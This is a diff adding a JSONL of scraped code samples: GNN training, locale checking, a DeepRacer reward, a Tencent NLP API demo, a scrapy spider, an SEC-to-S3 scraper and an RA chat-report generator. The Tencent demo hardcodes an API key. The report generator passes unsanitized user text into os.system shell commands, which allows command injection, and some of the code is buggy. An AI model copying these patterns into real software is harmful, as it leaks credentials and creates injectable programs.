diff --git "a/3183.jsonl" "b/3183.jsonl" new file mode 100644--- /dev/null +++ "b/3183.jsonl" @@ -0,0 +1,722 @@ +{"seq_id":"478274502","text":"# train.py\n\nimport torch\nimport torch.nn as nn\nimport torch.optim\nimport torch.nn.functional as F\n\nimport dgl\nfrom dgl import DGLGraph\n\nimport time\n\nfrom rgcn import Model\nfrom aifb import data, num_nodes, num_classes, num_rels, edge_norm, edge_type, train_idx, labels, val_idx\nfrom config import device\n\ndef send_graph_to_device(g, device):\n # nodes\n labels = g.node_attr_schemes()\n for l in labels.keys():\n g.ndata[l] = g.ndata.pop(l).to(device, non_blocking=True)\n # edges\n labels = g.edge_attr_schemes()\n for l in labels.keys():\n g.edata[l] = g.edata.pop(l).to(device, non_blocking=True)\n return g\n\n\n# configurations\nn_hidden = 16 # number of hidden units\nn_bases = -1 # use number of relations as number of bases\nn_hidden_layers = 0 # use 1 input layer, 1 output layer, no hidden layer\nn_epochs = 25 # epochs to train\nlr = 0.01 # learning rate\nl2norm = 0 # L2 norm coefficient\n\n# create graph\ng = DGLGraph()\ng.add_nodes(num_nodes)\ng.add_edges(data.edge_src, data.edge_dst)\ng.edata.update({'rel_type': edge_type, 'norm': edge_norm})\n\ng = send_graph_to_device(g, device)\n\n# create model\nmodel = Model(len(g),\n n_hidden,\n num_classes,\n num_rels,\n num_bases=n_bases,\n num_hidden_layers=n_hidden_layers)\nmodel.to(device)\n\n# optimizer\noptimizer = torch.optim.Adam(model.parameters(), lr=lr, weight_decay=l2norm)\n\nprint(\"start training...\")\nmodel.train()\n\ntic = time.time()\nfor epoch in range(n_epochs):\n optimizer.zero_grad()\n logits = model.forward(g)\n loss = F.cross_entropy(logits[train_idx], labels[train_idx])\n loss.backward()\n\n optimizer.step()\n\n train_acc = torch.sum(logits[train_idx].argmax(dim=1) == labels[train_idx])\n train_acc = train_acc.item() / len(train_idx)\n val_loss = F.cross_entropy(logits[val_idx], labels[val_idx])\n val_acc = torch.sum(logits[val_idx].argmax(dim=1) == labels[val_idx])\n val_acc = val_acc.item() / len(val_idx)\n print(\"Epoch {:05d} | \".format(epoch) +\n \"Train Accuracy: {:.4f} | Train Loss: {:.4f} | \".format(\n train_acc, loss.item()) +\n \"Validation Accuracy: {:.4f} | Validation loss: {:.4f}\".format(\n val_acc, val_loss.item()))\ntoc = time.time()\nprint (toc-tic)","sub_path":"R-GCN/train.py","file_name":"train.py","file_ext":"py","file_size_in_byte":2278,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"610289184","text":"#! /usr/bin/env python\n\nimport argparse\nimport glob\nimport json\nimport os\nimport urllib2\n\ndef diff(a, b):\n b = set(b)\n return [aa for aa in a if aa not in b]\n\ndef main():\n parser = argparse.ArgumentParser()\n parser.add_argument('focus_path', help='Path to local clone of Focus for iOS')\n args = parser.parse_args()\n\n focus_path = os.path.join(\n os.path.realpath(args.focus_path),\n 'Blockzilla')\n\n # Mapping some Mozilla codes to iOS\n locale_mapping = {\n 'ga': 'ga-IE',\n 'nb': 'nb-NO',\n 'nn': 'nn-NO',\n 'sv': 'sv-SE',\n 'fil': 'tl'\n }\n\n # Get the list of locales\n locales = []\n for locale_folder in glob.glob(focus_path + '/*.lproj/'):\n parts = locale_folder.split(os.sep)\n locale = parts[-2][:-6]\n locale = locale_mapping.get(locale, locale)\n locales.append(locale)\n # Remove en-US (called 'en')\n locales.remove('en')\n locales.sort()\n\n # Get the list of complete locales\n base_url = 'https://l10n.mozilla-community.org/webstatus/api/?product=focus-ios'\n update_source = base_url + '&txt&type=complete'\n response = urllib2.urlopen(update_source)\n missing_locales = []\n complete_locales = []\n for line in response:\n locale = line.rstrip('\\r\\n')\n complete_locales.append(locale)\n if not locale in locales:\n missing_locales.append(locale)\n\n complete_locales.sort()\n missing_locales.sort()\n if missing_locales:\n print('\\n---\\n\\nThe following locales are complete but missing from the product: {}'.format(', '.join(missing_locales)))\n else:\n print('\\n---\\n\\nThere are no complete locales missing in product.')\n\n incomplete_locales = diff(locales, complete_locales)\n incomplete_locales.sort()\n if incomplete_locales:\n print('\\n---\\n\\nThe following locales are shipping but incomplete: {}'.format(', '.join(incomplete_locales)))\n\n # Get detailed stats\n update_source = base_url + '&json&type=stats'\n response = urllib2.urlopen(update_source)\n json_data = json.load(response)\n print('\\nDetailed stats:')\n for locale in incomplete_locales:\n count_missing = json_data[locale]['missing'] + json_data[locale]['untranslated'] + json_data[locale]['fuzzy']\n print('{}: {} missing strings'.format(locale, count_missing))\n else:\n print('\\n---\\n\\nThere are no incomplete locales.')\n\nif __name__ == '__main__':\n main()\n","sub_path":"ios_l10n/analyze_locales_focus.py","file_name":"analyze_locales_focus.py","file_ext":"py","file_size_in_byte":2516,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"473230015","text":"# Weightings\n# -------------\nWEIGHTING_DIST_FROM_CENTER = 1.0\nWEIGHTING_STRAIGHT_LINE_SPEED_REWARD = 1.25\nWEIGHTING_PROGRESS_TO_STEPS_REWARD = 1.5\n\n# Reward Levels\n# -------------\nREWARD_LARGE = 1.25\nREWARD_MED = 1.0\nREWARD_SMALL = 0.75\nREWARD_MIN = 1e-3\n\n# Config\n# -------\nTARGET_STEPS = 160\n\ndef reward_function(params):\n # Input parameters\n progress = params['progress']\n steps = params['steps']\n distance_from_center = params['distance_from_center']\n track_width = params['track_width']\n speed = params['speed']\n steering_angle = params['steering_angle']\n\n # Execute rewards\n reward = REWARD_MIN\n reward = distance_from_center_reward(reward, track_width, distance_from_center)\n reward = straight_line_speed_reward(reward, steering_angle, speed)\n reward = completed_lap_within_step_target_reward(reward, progress, steps)\n\n return float(reward)\n\n# Distance From Center Reward Function\n# ------------------------------------\n# Make reward close for all zones to allow for better cornering\ndef distance_from_center_reward(reward, track_width, distance_from_center):\n # Calculate 3 markers that are at varying distances away from the center line\n marker_1 = 0.1 * track_width\n marker_2 = 0.25 * track_width\n marker_3 = 0.5 * track_width\n\n # Give higher reward if the car is closer to center line and vice versa\n if distance_from_center <= marker_1:\n reward += (REWARD_LARGE * WEIGHTING_DIST_FROM_CENTER)\n elif distance_from_center <= marker_2:\n reward += (REWARD_MED * WEIGHTING_DIST_FROM_CENTER)\n elif distance_from_center <= marker_3:\n reward += (REWARD_SMALL * WEIGHTING_DIST_FROM_CENTER)\n else:\n reward += REWARD_MIN # likely crashed/ close to off track\n\n return reward\n\n# Lap progress to steps completed reward\n# -----------------------------\n# Reward progress of the track against the expected amount of steps\ndef completed_lap_within_step_target_reward(reward, progress, steps):\n\n expected_steps = (TARGET_STEPS / 100) * progress\n\n threshold_1 = expected_steps\n threshold_2 = (expected_steps * 1.1)\n threshold_3 = (expected_steps * 1.2)\n\n if(steps <= threshold_1):\n reward += (REWARD_LARGE * WEIGHTING_PROGRESS_TO_STEPS_REWARD)\n elif(steps <= threshold_2):\n reward += (REWARD_MED * WEIGHTING_PROGRESS_TO_STEPS_REWARD)\n elif(steps <= threshold_3):\n reward += (REWARD_SMALL * WEIGHTING_PROGRESS_TO_STEPS_REWARD)\n\n return reward\n\n# Straight Line Speed Reward Function\n# -----------------------------------\ndef straight_line_speed_reward(reward, steering_angle, speed):\n if(steering_angle == 0 and speed >= 2):\n reward += (REWARD_LARGE * WEIGHTING_STRAIGHT_LINE_SPEED_REWARD)\n\n return reward\n","sub_path":"10_Combination1/reward.py","file_name":"reward.py","file_ext":"py","file_size_in_byte":2751,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"134316979","text":"#!/usr/bin/python3\n# -*- coding: utf-8 -*-\n# @Date : 2018-08-30 10:51:21\n# @Author : caryangBingo\n# @Filename : example.py\n# @Software : Sublime Text3\n\nimport io\nimport sys\nsys.path.append('../SDK')\nimport optparse\nimport time\nimport apiutil\nimport base64\nimport json\n\nsys.stdout = io.TextIOWrapper(sys.stdout.buffer, encoding='utf-8')\n\napp_key = 'wfugte84bn8WRSve'\napp_id = '1106938466'\n\nif __name__ == '__main__':\n text_data = \"人工智能\"\n\n ai_obj = apiutil.AiPlat(app_id, app_key)\n\n print('----------------------SEND REQ----------------------')\n rsp = ai_obj.getNlpWordseg(text_data)\n\n if rsp['ret'] == 0:\n print(rsp['data'])\n for i in rsp['data']['text']:\n print(i['base_tokens'])\n print('----------------------API SUCC----------------------')\n else:\n data = json.dumps(rsp, ensure_ascii=False, sort_keys=False, indent=4)\n print(data.encode('utf-8'))\n print('----------------------API FAIL----------------------')\n","sub_path":"demo/test_nlp_wordseg.py","file_name":"test_nlp_wordseg.py","file_ext":"py","file_size_in_byte":1006,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"41471003","text":"import datetime\nimport os\nimport time\n\n### Utilities ###\ncond = [\"no so well\", \"alright\", \"well\", \"very well\"]\nhe = [\"he\", \"his\", \"He\", \"His\", \"him\"]\nshe = [\"she\", \"her\", \"She\", \"Her\", \"her\"]\nthey = [\"they\", \"their\", \"They\", \"Their\", \"them\"]\ntobes = [\"is\", \"are\"]\nlive = [\"does not yet have plans\",\n \"currently looking\", \n \"already found housing\"]\nplaces = [\"on-campus residence hall\", \n \"on-campus appartment\", \n \"off-campus appartment\"]\n\n\nclass BearChats():\n \"\"\"A BearChat object will collect and store information for a bear chat.\"\"\"\n\n def __init__(self):\n \"\"\"Create an empty BearChat.\"\"\"\n\n self.time = str(datetime.datetime.now())\n\n # ask_name\n self.fn = None # String\n self.ln = None # String\n self.name = None # String\n \n # ask_pronouns\n self.pronoun = None # List of Strings\n self.tobe = None # \n \n # ask_classes\n self.class_cond = None # Integer index\n self.class_note = None # String\n \n # ask_habits\n self.habit_change = False # Boolean\n self.new_habit = None # String\n \n # ask_resources\n self.resources = None # String\n \n # ask_success_goals\n self.success = None # String\n self.goal1 = None # String\n self.goal2 = None # String\n self.goal3 = None # String\n \n # ask_living\n self.living = None # Integer index\n self.place = None # Integer index\n \n # ask_relations\n self.relationship = None # Integer index\n self.relate_note = None # String\n \n # ask_concerns\n self.concerns = None # String\n\n # print_report\n self.report = None\n\n\n def ask_name(self):\n if self.fn is None and self.ln is None:\n self.fn = input(\"** Resident First Name: \")\n self.ln = input(\"** Resident Last Name: \")\n self.name = self.fn + \" \" + self.ln\n\n else:\n print(\"Resident: %s\", self.name)\n\n\n def ask_pronouns(self):\n if self.pronoun is None:\n pronoun_index = input(\"** Resident Pronouns (h/s/t): \")\n print(\"\")\n\n while pronoun_index not in [\"h\", \"s\", \"t\"]:\n print(\"Invalid Argument. Try Again.\") \n pronoun_index = input(\"** Resident Pronouns (h/s/t): \")\n print(\"\")\n\n if pronoun_index == \"h\":\n self.pronoun = he\n self.tobe = tobes[0]\n elif pronoun_index == \"s\":\n self.pronoun = she\n self.tobe = tobes[0]\n else: \n self.pronoun = they\n self.tobe = tobes[1]\n\n else:\n print(\"Pronouns: %s\", self.pronoun)\n\n\n def ask_classes(self):\n if self.class_cond is None and self.class_note is None:\n class_index = int(input(\"** Classes? (1-4, 4 best): \"))\n print(\"\")\n # add in error for entering non integer\n\n while class_index < 0 | class_index > 4:\n print(\"Invalid Argument. Try Again.\") \n class_index = int(input(\"** Classes? (1-4, 4 best): \"))\n print(\"\")\n\n self.class_cond = cond[class_index - 1]\n\n notes = input(\"Notes on classes (NA if none): \\n>\")\n print(\"\")\n if not notes == \"NA\":\n self.class_note = notes\n\n else:\n print(\"Classes are going %s. Notes: %s\", \n self.class_cond, self.class_note)\n\n\n def ask_habits(self):\n if self.habit_change is False:\n changed_index = input(\"** Changed in study habits? (y/n): \")\n print(\"\")\n\n while changed_index not in [\"y\", \"n\"]:\n print(\"Invalid Argument. Try Again.\") \n changed_index = input(\"** Changed in study habits? (y/n): \")\n print(\"\")\n\n if changed_index == \"y\":\n self.habit_change = True\n self.new_habit = input(\"** New study habit(s): \\n>\")\n print(\"\")\n\n else:\n print(\"New stuby habit(s): %s\", self.new_habit)\n\n\n def ask_resources(self):\n if self.resources is None:\n self.resources =input(\"** Resources utilized: \\n>\")\n print(\"\")\n\n else:\n print(\"Resources utilized: %s\", self.resources)\n\n\n def ask_success_goals(self):\n if self.success is None:\n self.success = input(\"** Success of Last Semester: \\n>\")\n print(\"\")\n self.goal1 = input(\"** Goal 1 for this semester: \\n>\")\n print(\"\")\n g2 = input(\"** Goal 2 for this semester (NA if none): \\n>\")\n print(\"\")\n g3 = input(\"** Goal 3 for this semester (NA if none): \\n>\")\n print(\"\")\n\n if not g2 == \"NA\":\n self.goal2 = g2\n\n if not g3 == \"NA\":\n self.goal3 = g3\n\n else:\n print(\"Success of Last Semester: %s\", self.success)\n print(\"Goals for this semester: \")\n print(self.goal1)\n print(self.goal2)\n print(self.goal3)\n\n\n def ask_living(self):\n if self.living is None and self.place is None:\n living_index = int(input(\"** Looking for housing? \\n\" +\n \"(1 - no plan, 2 - looking, 3 - found) : \"))\n print(\"\")\n # add in error for entering non integer\n\n while living_index < 1 | living_index > 3:\n print(\"Invalid Argument. Try Again.\") \n living_index = int(input(\"** Looking for housing? \\n\" +\n \"(1 - no plan, 2 - looking, 3 - found) : \"))\n print(\"\")\n\n self.living = live[living_index - 1]\n\n place_index = int(input(\"** Housing Plan? \\n\" +\n \"(1 - campus reshall, \" +\n \"2 - campus apt, 3 - off campus) : \"))\n print(\"\")\n # add in error for entering non integer\n\n while place_index < 1 | place_index > 3:\n print(\"Invalid Argument. Try Again.\") \n place_index = int(input(\"** Housing Plan? \\n\" +\n \"(1 - campus reshall, \" +\n \"2 - campus apt, 3 - off campus) : \"))\n print(\"\")\n\n self.place = places[place_index - 1]\n\n else:\n print(\"Search: %s\", self.living)\n print(\"Plan: %s\", self.place)\n\n\n def ask_relations(self):\n if self.relationship is None and self.relate_note is None:\n relate_index = int(input(\"** Floor/Room? (1-4, 4 best): \"))\n print(\"\")\n\n while relate_index < 0 | relate_index > 4:\n print(\"Invalid Argument. Try Again.\") \n relate_index = int(input(\"** Floor/Room? (1-4, 4 best): \"))\n print(\"\")\n # add in error for entering non integer\n\n self.relationship = cond[relate_index - 1]\n\n notes = input(\"** Notes on relationships (NA if none): \\n>\")\n print(\"\")\n\n if not notes == \"NA\":\n self.relate_note = notes\n\n else:\n print(\"Relationships with floor/roommates are %s. Notes: %s\", \n self.relationship, self.relate_note)\n\n\n def ask_concerns(self):\n if self.concerns is None:\n concerns = input(\"** Concerns? (NA if none): \\n>\")\n print(\"\")\n\n if not concerns == \"NA\":\n self.concerns = concerns\n\n else:\n print(\"Concerns: %s\", self.concerns)\n\n\n def print_report(self):\n self.report = \"\"\n\n # Name\n self.report += \"Resident Name: %s %s\\n\\n\" \\\n %(self.fn, self.ln)\n \n self.report += \"*** General Notes *** \\n\"\n\n # Classes\n self.report += \"%s %s doing %s in %s classes\" \\\n %(self.fn, self.tobe, self.class_cond, self.pronoun[1])\n if self.class_note:\n self.report += \", and %s said that %s\" \\\n %(self.pronoun[0], self.class_note)\n \n self.report += \". \"\n\n # Habits\n if self.habit_change:\n self.report += \"%s mentioned that %s found %s\" \\\n %(self.pronoun[2], self.pronoun[0], self.new_habit) \\\n + \" to be particular useful studying. \"\n\n # Resources\n if self.resources:\n self.report += \"Resources like %s were quite helpful for %s as well. \" \\\n %(self.resources, self.pronoun[4])\n\n # Success + Goals\n if self.success:\n self.report += \"%s thought that %s biggest success last semester was %s,\" \\\n %(self.pronoun[2], self.pronoun[1], self.success)\n\n self.report += \" and for this semester, %s wanted to %s\" \\\n %(self.pronoun[0], self.goal1)\n\n if self.goal2 and not self.goal3:\n self.report += \" and %s\" %self.goal2\n\n if self.goal2 and self.goal3:\n self.report += \", %s, and %s\" %(self.goal2, self.goal3)\n\n self.report += \". \"\n \n # Living\n if self.living and self.place:\n if self.living == live[1]:\n self.report += \"In terms of living plans for next year, %s said that %s %s %s, and \" \\\n %(self.fn, self.pronoun[0], self.tobe, self.living)\n else:\n self.report += \"In terms of living plans for next year, %s said that %s %s, and \" \\\n %(self.fn, self.pronoun[0], self.living)\n\n self.report += \"planning to live in %s. \" %self.place\n\n # Relationships\n if self.relationship:\n self.report += \"%s relationships with %s roommates and floormates are %s\" \\\n %(self.pronoun[3], self.pronoun[1], self.relationship)\n\n if self.relate_note:\n self.report += \", and said that %s\" %self.relate_note\n \n self.report += \". \"\n\n # Concerns\n self.report += \"\\n\\n*** Concerns ***\\n\"\n\n if self.concerns:\n self.report += \"%s\" %self.concerns\n\n else:\n self.report += \"No concerns. \\n\\n\"\n\n # End of Message\n self.report += \"------ End of Bear Chat Log for %s ------\\n\" %self.name\n self.report += \"%s\" %self.time\n\n\n\n def send_email(self):\n send = input(\"** Send email to ra-yuyang@berkeley.edu? (y/n/a): \")\n print(\"\")\n\n while send not in [\"y\", \"n\", \"a\"]:\n print(\"Invalid Argument. Try Again.\") \n send = input(\"** Send email to ra-yuyang@berkeley.edu? (y/n/a): \")\n\n if send == \"y\":\n print(\"Sending Email...\")\n os.system(\"echo '%s' | mail -s 'Bear Chat Log (%s)' ra-yuyang@berkeley.edu\" \n % (self.report, self.name))\n print(\"Email Sent.\")\n\n elif send == \"a\":\n email = input(\"** Enter an alternative email address: \")\n print(\"Sending Email...\")\n os.system(\"echo '%s' | mail -s 'Bear Chat Log (%s)' %s\" \n % (self.report, self.name, email))\n time.pause(3)\n print(\"Email Sent.\")\n\n else:\n print(\"Email not sent.\")\n self.copy_to_clipboard()\n\n\n def copy_to_clipboard(self):\n copy = input(\"** Copy to clipboard? (y/n): \")\n print(\"\")\n\n while copy not in [\"y\", \"n\"]:\n print(\"Invalid Argument. Try Again.\") \n copy = input(\"** Copy to clipboard? (y/n): \")\n\n if copy == \"y\":\n os.system(\"echo '%s' | pbcopy\" %self.report)\n print(\"Log copied to clipboard.\")\n\n\n def ask_all(self):\n self.ask_name()\n self.ask_pronouns()\n self.ask_classes()\n self.ask_habits()\n self.ask_resources()\n self.ask_success_goals()\n self.ask_living()\n self.ask_relations()\n self.ask_concerns()\n\n\ndef main():\n print(\"||--------------######--------------||\\n\\n\"\n + \"Bear Chat Log Automated Generator\\n\"\n + \"Created by Yuyang Zhong\\n\"\n + \"University of California, Berkeley\\n\"\n + \"Version 0.1 : Designed for Spring 2019 Bear Chats\\n\"\n + \"Version Date : 31 January 2019\\n\"\n + \"Licensed under Creative Commons BY-NC-SA 4.0\\n\\n\"\n + \"||--------------######--------------||\")\n\n bc = BearChats()\n bc.ask_all()\n bc.print_report()\n bc.send_email()\n\nmain()\n\n\n\n\n\n\n\n\n\n\n","sub_path":"BearChat.py","file_name":"BearChat.py","file_ext":"py","file_size_in_byte":12835,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"230878048","text":"#!/usr/bin/env python3\n\nimport math\n\nwith open('input.txt') as f:\n data = [x.strip() for x in f.readlines()]\n f.close()\n\nfor i in data:\n for x in data:\n for y in data:\n if int(x) + int(i) + int(y) == 2020:\n print('Answer: ' + str(int(x)*int(i)*int(y)))\n exit()\n\n","sub_path":"2020/01/b.py","file_name":"b.py","file_ext":"py","file_size_in_byte":319,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"61791610","text":"# this is currently working but proves to be too slow for one off shots.\n# can be used in conjunction with the timelapse module to create hdr timelapses\n\nfrom __future__ import print_function\nimport subprocess\nfrom subprocess import Popen, PIPE\nimport cameraSettings\n\nshutter_speeds, choices = cameraSettings.shutterDict()\n\n# this function will currently only work with shutter speed. this can easily\n# be mopdified to adjust ISO as well, although this may not be necessary\ndef hdr(shot_num, stops):\n \"\"\"\n shot_num ; number of shots (odd int only)\n stops ; stops (list: [2, 1, 0.67, 0.33]):\n the amount to adjust the exposure difference per shot\n \"\"\"\n ev = {0.33: 1,\n 0.67: 2,\n 1: 3,\n 2: 6,\n 3: 9,\n 4: 12}\n\n cur_spd = cameraSettings.shutterSpeedGet()\n for k, v in shutter_speeds.items():\n if v == cur_spd:\n cur_opt = k\n\n ev_adjust = [ x*ev[stops] for x in range(1, (shot_num/2)+1) ]\n ev_adjust = [ x*-1 for x in ev_adjust[::-1] ] + [0] + ev_adjust\n\n for ev in ev_adjust:\n set_speed = shutter_speeds[cur_opt+ev]\n print(set_speed)\n cameraSettings.shutterSpeedSet(set_speed)\n subprocess.call('gphoto2 --capture-image', shell=True)\n\n cameraSettings.shutterSpeedSet(cur_spd)\n","sub_path":"hdr.py","file_name":"hdr.py","file_ext":"py","file_size_in_byte":1313,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"138497631","text":"N = int(input())\nS = input()\n\nmax_num = 0\nfor i in range(N):\n # print(i)\n count = 0\n left = S[:i]\n right = S[i:]\n # print(left)\n # print(right)\n\n left_uni = list(set(left))\n right_uni = list(set(right))\n # print(left_uni)\n # print(right_uni)\n\n for l in left_uni:\n if l in right_uni:\n count += 1\n\n # print(count)\n\n if count > max_num:\n max_num = count\n\n# print(\"===\")\nprint(max_num)","sub_path":"ABC098/ABC098-B.py","file_name":"ABC098-B.py","file_ext":"py","file_size_in_byte":445,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"265003463","text":"# -*- coding: utf-8 -*-\nimport scrapy\n# from bs4 import BeautifulSoup\nfrom maoyanmovie.items import MaoyanmovieItem\nfrom scrapy.selector import Selector\n\nclass MaoyanSpider(scrapy.Spider):\n name = 'maoyan'\n allowed_domains = ['maoyan.com']\n start_urls = ['https://maoyan.com/films?showType=3']\n\n def start_requests(self):\n url = 'https://maoyan.com/films?showType=3' # 已修改\n yield scrapy.Request(url=url, callback=self.parse, dont_filter=False)\n\n def parse(self, response):\n print(response.url)\n items = [dict(mname ='电影名称', mtype = '电影类型', mtime = '上映时间' )]\n movies = Selector(response=response).xpath('///div[@class=\"movie-hover-info\"]')\n for movie in movies[:10]: # 需要限制次数\n item = MaoyanmovieItem()\n mname = movie.xpath('./div[1]/span[1]/text()')\n mtype = movie.xpath('./div[2]/text()')\n mtime = movie.xpath('./div[4]/text()')\n item['mname'] = mname.extract_first().strip()\n item['mtype'] = mtype.extract()[1].strip()\n item['mtime'] = mtime.extract()[1].strip()\n items.append(item)\n\n return items","sub_path":"Week01/maoyanmovie/maoyanmovie/spiders/movies.py","file_name":"movies.py","file_ext":"py","file_size_in_byte":1192,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"7169490","text":"\n# coding: utf-8\n\n# ## Import All the Packages\n\n# In[38]:\n\n\n# from lxml import html\nimport requests\nfrom bs4 import BeautifulSoup\nimport pandas\nimport os\nimport zipfile\nimport boto\nfrom boto.s3.connection import S3Connection\nimport tinys3\nimport sys\n\n\n# ## Enter the Inputs from User\n\n# In[47]:\n\n# def user_input_cik_validation(value):\n# while True:\n# try:\n# cik_input = int(input(value))\n# if value in range(0,1000000):\n# print(True)\n# print(\"Valid Key\") \n# continue\n# #try again... Return to the start of the loop\n# except ValueError:\n# print(\"Sorry, Incorrect cik! Please provide a valid cik 123\")\n# #try again... Return to the start of the loop\n# continue\n# else:\n# #cik was successfully parsed!\n# #we're ready to exit the loop.\n# break\n# return value\n\n\n\n#try:\n# cik_input_validate = user_input_cik_validation(\"cik:\") \n# if not cik_input_validate:\n# raise ValueError('empty string')\n#except ValueError as e:\n# print(e)\n\n\n# In[39]:\n\ncik_input = input('cik: ')\naccession_input = input('accession_number: ')\naws_key = input('aws Key: ')\naws_secret_key = input('aws secret key: ')\n\n\n# ## Generate the URL to be Accessed\n\n# In[40]:\n\nFirstpage = requests.get(\"https://www.sec.gov/Archives/edgar/data/\"+ str(cik_input) + \"/\" + str(accession_input) + \"/\" + str(accession_input[:10]) + \"-\" + str(accession_input[10:12]) + \"-\" + str(accession_input[12:]) + \"-index.html\")\nprint (Firstpage)\nsoup1 = BeautifulSoup(Firstpage.text)\n\n\n# In[41]:\n\ntables_all = soup1.find(\"table\", {\"class\":\"tableFile\",\"summary\":\"Document Format Files\"})\nlen(tables_all)\n\n\n# ## Find the correct 10K/10Q File to be loaded\n\n# In[42]:\n\nlink = tables_all.find('a')\nhref_value = link.get('href')\nhref_value\n\n\n# In[ ]:\n\npage = requests.get(\"https://www.sec.gov\" + href_value)\n\nsoup = BeautifulSoup(page.text)\n\n\n# In[44]:\n\ndef parse_table(table):\n \"\"\" Get data from table \"\"\"\n for row in table.find_all('tr'):\n if \"##cceeff\" in row:\n return True\n else:\n return False\n \n\n\n# In[45]:\n\nhref_for_10q_10K = href_value[-15:]\nhref_for_10q_10K\n\n\n# ## Find the correct tables for 10K/10Q File to be loaded\n\n# In[ ]:\n\nif '10q' in href_for_10q_10K:\n tables = soup.find_all(\"table\", border=1)\n j = 0\n for table in tables:\n data = []\n name = 'tables'+str(j)+'.csv'\n j+=1\n\n rows = table.find_all('tr')\n for row in rows:\n cols = row.find_all('td')\n cols = [(''.join(ch.strip('[\\n,$]') for ch in ele.text)).strip() for ele in cols]\n data.append([ele for ele in cols if ele])\n t = pandas.DataFrame(data)\n t.to_csv(name,encoding='utf-8')\nelse:\n tables2 = soup.find_all(\"table\")\n k = 0\n while k < len(tables2):\n table_check = parse_table(tables2[k])\n if table_check == True:\n #k = 0\n for table in tables2:\n data = []\n name = 'tables'+str(k)+'.csv'\n k+=1\n\n rows = table.find_all('tr')\n for row in rows:\n cols = row.find_all('td')\n cols = [(''.join(ch.strip('[\\n,$]') for ch in ele.text)).strip() for ele in cols]\n data.append([ele for ele in cols if ele])\n t = pandas.DataFrame(data)\n t.to_csv(name,encoding='utf-8')\n\n\n# In[ ]:\n\n#Get the List of Files from the Current Directory\ncontent_list = []\n\nfor content in os.listdir(\".\"): # \".\" means current directory\n if content.endswith(\".csv\"):\n content_list.append(content)\n\nprint (content_list)\n\n\n# In[ ]:\n\n#Move the Files to a Zip File\nZipFile = zipfile.ZipFile(\"zip_csv_folder.zip\", \"w\" )\n\nfor a in content_list:\n #ZipFile.write(os.path.basename(a), compress_type=zipfile.ZIP_DEFLATED)\n ZipFile.write(a)\n\n\n# In[ ]:\n\n#First Create the Bucket and Check if It Exists or No\n#Connection for Boto\nconn = S3Connection(aws_key, aws_secret_key)\n\n\n# In[ ]:\n\n#Create a Bucket and Check if Bucket Exists or No\nbucket = conn.lookup('some-value')\nif bucket is None:\n print (\"This bucket doesn't exist.\")\n bucket = conn.create_bucket('bucket-csvs')\n print (\"Bucket Created\")\n# Else if bucket is there and use that bucket\n\n\n# In[ ]:\n\nbucketobj = conn.get_bucket(bucket)\nbucketobj\n\n\n# In[ ]:\n\n#Create tinys3 Connection\nconnt3 = tinys3.Connection(aws_key,aws_secret_key,tls=True)\n\n\n# In[ ]:\n\n#Get the Zip File from the Current Directory and Upload it on AmazonS3\n#Example #f = open('H:/Advance Data Science/Assignment - 1/R/csv1.zip','rb')\n\nf = open(os.getcwd() + '/zip_csv_folder.zip','rb')\nconnt3.upload('zip_csv_folder.zip',f,'bucket-csvs')\n\n","sub_path":"pythonappfile.py","file_name":"pythonappfile.py","file_ext":"py","file_size_in_byte":4806,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"430828107","text":"import torch\nfrom torch import nn\n\nclass block(nn.Module):\n def __init__(self, in_dim, out_dim, scale=0.2):\n super(block, self).__init__()\n if in_dim != out_dim:\n self.layer_1 = nn.Sequential(\n nn.Linear(in_dim, out_dim),\n nn.BatchNorm1d(out_dim),nn.Dropout(),\n nn.ReLU(inplace=True)\n )\n else:\n self.layer_1 = None\n \n self.layer_2 = nn.Sequential(\n nn.Linear(out_dim, out_dim),\n nn.BatchNorm1d(out_dim),\n nn.ReLU(inplace=True),\n nn.Linear(out_dim, out_dim),\n nn.BatchNorm1d(out_dim),\n )\n\n\n self.scale = scale\n\n def forward(self, x):\n if self.layer_1 != None:\n x = self.layer_1(x)\n output = self.layer_2(x)\n output = self.scale*output + x\n return output\n\n\n\nclass NeuralNet(nn.Module):\n def __init__(self, config):\n super(NeuralNet, self).__init__()\n self.em_dic = {}\n self.plat_form_em = nn.Embedding(config.plat_form_range,\n config.embadding_dim)\n self.biz_type_em = nn.Embedding(config.biz_type_range,\n config.embadding_dim)\n self.product_id_em = nn.Embedding(config.product_id_range, config.embadding_dim)\n self.cate1_id_em = nn.Embedding(config.cate1_id_range,\n config.embadding_dim)\n self.cate2_id_em = nn.Embedding(config.cate2_id_range,\n config.embadding_dim)\n self.cate3_id_em = nn.Embedding(config.cate3_id_range,\n config.embadding_dim)\n self.seller_uid_em = nn.Embedding(config.seller_uid_range,\n config.embadding_dim)\n self.company_name_em = nn.Embedding(config.company_name_range,\n config.embadding_dim)\n self.rvcr_prov_name_em = nn.Embedding(\n config.rvcr_prov_name_range, config.embadding_dim)\n self.rvcr_city_name_em = nn.Embedding(\n config.rvcr_city_name_range, config.embadding_dim)\n\n self.pre_days_em = nn.Embedding(config.pre_days_range, config.embadding_dim)\n\n # self.lgst_company_em = nn.Embedding(config.lgst_company_range, config.embadding_dim)\n self.warehouse_id_em = nn.Embedding(config.warehouse_id_range, config.embadding_dim)\n self.shipped_prov_id_em = nn.Embedding(config.shipped_prov_id_range, config.embadding_dim)\n self.shipped_city_id_em = nn.Embedding(config.shipped_city_id_range, config.embadding_dim)\n self.payed_hour_em = nn.Embedding(config.payed_hour_range, config.embadding_dim)\n\n # self.shipped_time_day_em = nn.Embedding(config.shipped_time_day_range, config.embadding_dim)\n # # self.shipped_time_hour_em = nn.Embedding(config.shipped_time_hour_range, config.embadding_dim)\n # self.got_time_day_em = 